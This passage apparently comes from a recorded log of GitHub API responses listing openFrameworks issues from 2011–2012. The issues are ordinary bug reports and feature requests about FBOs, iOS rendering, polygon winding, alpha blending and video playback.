memory","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-25T13:22:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1733504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-22T08:20:27Z","body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif (invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","comments":0,"milestone":null,"number":754,"html_url":"https://github.com/openframeworks/openFrameworks/issues/754","assignee":null,"title":"nested fbo causing currentFBO lost","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-22T08:20:27Z","state":"open","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":51957},"id":1708332,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:38:03Z","body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","comments":1,"milestone":null,"number":753,"html_url":"https://github.com/openframeworks/openFrameworks/issues/753","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofFbo readToPixels() in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-21T20:50:33Z","state":"open","user":{"url":"https://api.github.com/users/stephen-baker","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","login":"stephen-baker","avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1047836},"id":1704855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T10:37:20Z","body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","comments":1,"milestone":null,"number":752,"html_url":"https://github.com/openframeworks/openFrameworks/issues/752","assignee":null,"title":"ofFbo (problems with certain image dimensions)","labels":[],"closed_at":null,"created_at":"2011-09-20T21:16:24Z","state":"open","user":{"url":"https://api.github.com/users/ammalgamma","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","login":"ammalgamma","avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":517000},"id":1691874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T09:04:12Z","body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","comments":3,"milestone":null,"number":748,"html_url":"https://github.com/openframeworks/openFrameworks/issues/748","assignee":null,"title":"more generic ofJoin","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-17T07:26:18Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1668066,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T17:22:14Z","body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","comments":2,"milestone":null,"number":745,"html_url":"https://github.com/openframeworks/openFrameworks/issues/745","assignee":null,"title":"Polygon winding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-14T13:50:48Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1643672,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4936'), ('content-length', '42586'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1f6749765d79f3319834dfda4c27cd5e"'), ('date', 'Tue, 29 May 2012 19:27:17 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-17T16:52:58Z","body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","comments":10,"milestone":null,"number":744,"html_url":"https://github.com/openframeworks/openFrameworks/issues/744","assignee":null,"title":"rename testApp to ofApp","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-14T07:02:36Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1641198,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-26T11:56:48Z","body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","comments":1,"milestone":null,"number":743,"html_url":"https://github.com/openframeworks/openFrameworks/issues/743","assignee":null,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-13T22:53:55Z","state":"open","user":{"url":"https://api.github.com/users/jtnimoy","gravatar_id":"153ba4a8df491692b717daad7a6030be","login":"jtnimoy","avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":183796},"id":1639020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:00Z","body":"In ofxiPhoneAppDelegate.mm in the setAnimationFrameInterval method should be changed from\r\n\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n [self startAnimation];\r\n}\r\n\r\nto\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n}\r\n [self startAnimation];\r\n\r\nThis will allow it start again if it's stopped.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/738","comments":0,"milestone":null,"number":738,"html_url":"https://github.com/openframeworks/openFrameworks/issues/738","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone - setting ofSetFrameRate(0) and then back to > 0 doesn't start again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-12T21:23:04Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1628082,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:55:09Z","body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","comments":1,"milestone":null,"number":730,"html_url":"https://github.com/openframeworks/openFrameworks/issues/730","assignee":null,"title":"nicer stroke mitering/joining and end caps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-07T03:27:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1586262,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T15:39:58Z","body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","comments":1,"milestone":null,"number":728,"html_url":"https://github.com/openframeworks/openFrameworks/issues/728","assignee":null,"title":"ofColor and clamping","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-05T14:41:50Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1569364,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T10:17:48Z","body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","comments":0,"milestone":null,"number":727,"html_url":"https://github.com/openframeworks/openFrameworks/issues/727","assignee":null,"title":"OSX 10.7 Gamma Problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-09-05T10:17:48Z","state":"open","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1566286,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-26T18:44:30Z","body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","comments":0,"milestone":null,"number":721,"html_url":"https://github.com/openframeworks/openFrameworks/issues/721","assignee":null,"title":"ofxiPhone - Move openGL to its own thread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-26T18:43:09Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497330,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:39Z","body":"The libraries linked in 007 as well as the new AVFoundationVideoPlayer is not compatible with 3.x devices and won't build.\r\n\r\nAfter further exploring, I believe these are the steps to get things running on 3.x devices.\r\n\r\n1) In Xcode, Click on target -> application name\r\n2) In the File Name window, set AVFoundation, CoreMedia, and CoreVideo from role \"required\" to \"weak\". They need to be weak linked since they're only available in iOS 4+.\r\n3) In ofxiPhone src folder, AVFoundationVideoPlayer.mm uses CMBlockBufferRef and that is only available in iOS4. This means, this function should be commented out (sorry - avfoundationvideoplayer won't run on iOS4 unless the blocker is changed). Either that or you can comment ouf AVFoundationVideoPlayer from being included in OF.\r\n4) Clean all targets and rebuild","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/720","comments":0,"milestone":null,"number":720,"html_url":"https://github.com/openframeworks/openFrameworks/issues/720","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"007 ofxiPhone not compatible with 3.x devices ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-26T18:38:38Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497291,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T17:38:49Z","body":"\r\nbased on this comment, \r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","comments":1,"milestone":null,"number":719,"html_url":"https://github.com/openframeworks/openFrameworks/issues/719","assignee":null,"title":"optimize ofEndShape() to deal with simple shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-22T16:56:27Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1459353,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T16:02:30Z","body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","comments":0,"milestone":null,"number":717,"html_url":"https://github.com/openframeworks/openFrameworks/issues/717","assignee":null,"title":"suggest new calc clip planes routine","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-22T16:02:30Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1458979,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T14:11:34Z","body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","comments":0,"milestone":null,"number":716,"html_url":"https://github.com/openframeworks/openFrameworks/issues/716","assignee":null,"title":"problems with stop/play in quicktime videoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-22T14:11:34Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1458044,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-16T13:39:49Z","body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","comments":5,"milestone":null,"number":711,"html_url":"https://github.com/openframeworks/openFrameworks/issues/711","assignee":null,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-08-16T10:21:29Z","state":"open","user":{"url":"https://api.github.com/users/IonRod","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","login":"IonRod","avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":886012},"id":1414013,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-15T14:23:47Z","body":"i'm noticing this on osx 10.6. all 8-bit images are correct, but somehow i didn't notice about unsigned short and float until now!\r\n\r\ni'm super busy atm, but i've kind of been maintaining the unsigned short/float loading so i'll look into this if someone else doesn't get to it first.\r\n\r\nmeanwhile it would be good to see if it's the same on windows or not. for anyone interested in testing, please check devApps/AdvancedImageLoading and compare the results of the app to the .exr opened in photoshop.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/710","comments":0,"milestone":null,"number":710,"html_url":"https://github.com/openframeworks/openFrameworks/issues/710","assignee":null,"title":"16-bit and 32-bit images are red/blue swapped","labels":[],"closed_at":null,"created_at":"2011-08-15T14:23:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1407813,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-07T12:19:07Z","body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, 